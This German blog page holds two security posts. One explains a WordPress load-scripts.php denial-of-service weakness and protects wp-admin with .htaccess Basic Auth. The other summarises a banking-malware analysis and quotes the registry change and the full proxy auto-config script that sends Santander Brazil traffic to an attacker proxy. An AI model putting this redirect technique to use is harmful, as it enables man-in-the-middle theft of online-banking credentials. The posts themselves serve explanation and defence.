WordPress DOS – wp-admin Verzeichnis schützen

Die Hacker News berichten von einem Angriff auf WordPress, der von Seiten der Entwickler als „nicht-unsere-Baustelle“ abgeschmettert wurde, aber ganz leicht abgewehrt werden kann.

Der Angriff

Im wp-admin Verzeichnis gibt es ein Script namens „load-scripts.php„, das auf Zuruf, und liegt das Problem, alle Javascripte der Installation, zu einer gemeinsamen Javascriptseite zusammenbaut, damit der Browser nicht jede einzeln laden muß. Das Problem daran ist, jeder kann die Seite aufrufen. Wenn man dann noch die gesamten Javascripte eines WordPress zusammenstellen läßt, reichen wenige Aufrufe, bis die Webseite offline ist.

Das liegt daran, daß bei der Zusammenstellung sehr viel IO entsteht, was den Webserver belastet. Dadurch wird alles langsamer, bis es bei genug Anfragen zum faktischen Stillstand kommt. Dazu kommt eine erhöhte Rechenleistung während die Scripte Ihren Job tun.

Was meint WordPress dazu ?

Die sagen, daß ein Admin diese Seite aufrufen können muß, wenn er noch nicht als Admin erkennbar ist. Also muß es jeder können. Man solle doch das Problem irgendwo anders löschen, nur nicht bei Ihnen.

„However, the company refused to acknowledge the issue, saying that this kind of bug „should really get mitigated at the server end or network level rather than the application level,“ which is outside of WordPress’s control.“ (Zitat von THN )

Das ist natürlich peinlich, weil jemand das in WordPress gefixt hat und einen Fork davon bereitstellt. Es ist also scheinbar leicht möglich es zu beheben.

Eine Lösung des Problems

Wenn Ihr Zugriff auch Euren Webserver habt, erstellt Ihr einfach für wp-admin eine .htaccess Datei . Das kann man über eine Weboberfläche lösen, so wie hier :

Wenn man die HT-Accessabfrage mit  Usernamen und Passwort anlegt, fragt einen der Browser nach den Zugangsdaten, aber merkt sich die auch, so daß man selbst recht unproblematisch wieder ins Backend gelangt. ( Die 5.6 Version von PHP ist wohl beim Testen hängen geblieben und wurde bereinigt 😉 ).

Nach dem Anlegen zeigt meine Oberfläche dann auch an, daß dort eine HTAccess mit Benutzernamen liegt :

Admin-Weboberfläche nach dem Anlegen des Benutzers

Nach dem Anlegen des Benutzers

Wenn man das alles von Hand machen muß, geht das so :

In die Datei wp-admin/.htaccess  kommt dieser Inhalt, bei dem Ihr den Pfad anpassen müßt:

AuthType Basic
AuthName "Das ist mein WordPress!"
AuthUserFile /path_to_wp/wp-admin/.htpasswd
Require valid-user

danach gibt man in der Bash ein :

htpasswd -bc  /path_to_wp/wp-admin/.htpasswd username password

Das war es dann schon. Jetzt noch im Browser wp-admin/ aufrufen und die neuen Zugangsdaten eingeben und auf Speichern drücken.

Wie man Onlinebanking belauscht

„Mami, warum darf ich nicht dieses Attachment öffnen?!!“

„DESWEGEN, Kind :  sans.edu – Example of Targeted Attack Through a Proxy PAC File „

Beschrieben wird in dem verlinkten Artikel ein Angriff auf die Benutzer der Santanderbank in Brasilien. Jetzt blocke ich bei mir eh alles was *com.br am Ende hat, da ich in Brasilien keine Freunde habe, aber scheinbar sehr viel zwilichtige Gestalten gerne meine Freund werden wollen, naja.. vermutlich doch eher Freund meines Rechners 🙂 . Egal, jedenfalls spart einem son Block jede Menge Spams auf Portugiesisch, dessen ich zwar entfernt mächtig bin, es mich aber nicht interessiert. Wer noch was pauschal blocken will, hier noch zwei Evergreens : „*com.ar“, „*com.ag“ und „*@zoho.com“ .  Zoho.com ist gefühlt vermutlich die größte Spamschleuder des Planeten.

Was aber tatsächlich am meisten Spams verhindert hat, war unserem Mailserver zu erzählen, daß er nur noch TLS Verbindungen akzeptiert. Das hat sämtliche Spambots kalt erwischt ( und noch dazu das BSI, Weltbild, Power-Netz, Otto und diverse andere Quellen unerwünschter Wer … ähm Newsletter … 😀 )

Man sollte sich auch nichts erzählen lassen, wer als Mailadmin kein TLS aktiviert hat, hat seinen Job nicht ordentlich gemacht. Wer einem also keine EMails mehr senden kann, sollte dafür die Schuld nicht beim Empfänger, sondern bei sich selbst suchen. Im zweiten Jahrzehnt des 21. Jahrhunderts gehört TLS einfach in jeden Mailserver, egal wo auf der Welt.

Zurück zum Angriff auf Kunden der Santander Bank

Der Artikel beschreibt, das eines Tages eine Email kam… so fängt es heute eigentlich immer an ;)… in der ein böses Attachment war.. ( deswegen haben wir Leute auf der Whiteliste, die uns Attachments schicken dürfen ) . Das Attachment enthielt eine kleine Schadsoftware die nichts weiter gemacht hat, als die Proxyeinstellungen von Winblöd zu ändern.

\REGISTRY\USER\S-1-5-21-xxxxxxxx\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = http://chrome-ie.com.br/1.png

In dem „Bild“ steht natürlich nur Text drin:

function FindProxyForURL(url, host)
{
var a = "PROXY 200.98.202.51:1023";
if (shExpMatch(host, "www.san*ander.com.br*")) {
     return a;
}

if (shExpMatch(host, "san*ander.com.br*")) {
     return a;
}

return "DIRECT";
}

Dieses Proxyscript sorgt dann am Ende dafür, daß die Aufrüfe an die Bank zu dem Proxy Server umgeleitet werden. Damit HTTPS geht, jubelt einem das Attachment dann noch ein FAKE Root Cert der Santander Bank unter.  Fertig ist der Onlinebanking-Man-in-the-Middle-Angriff .

Bei Fragen wenden Sie sich bitte an die Designer von Windows 😀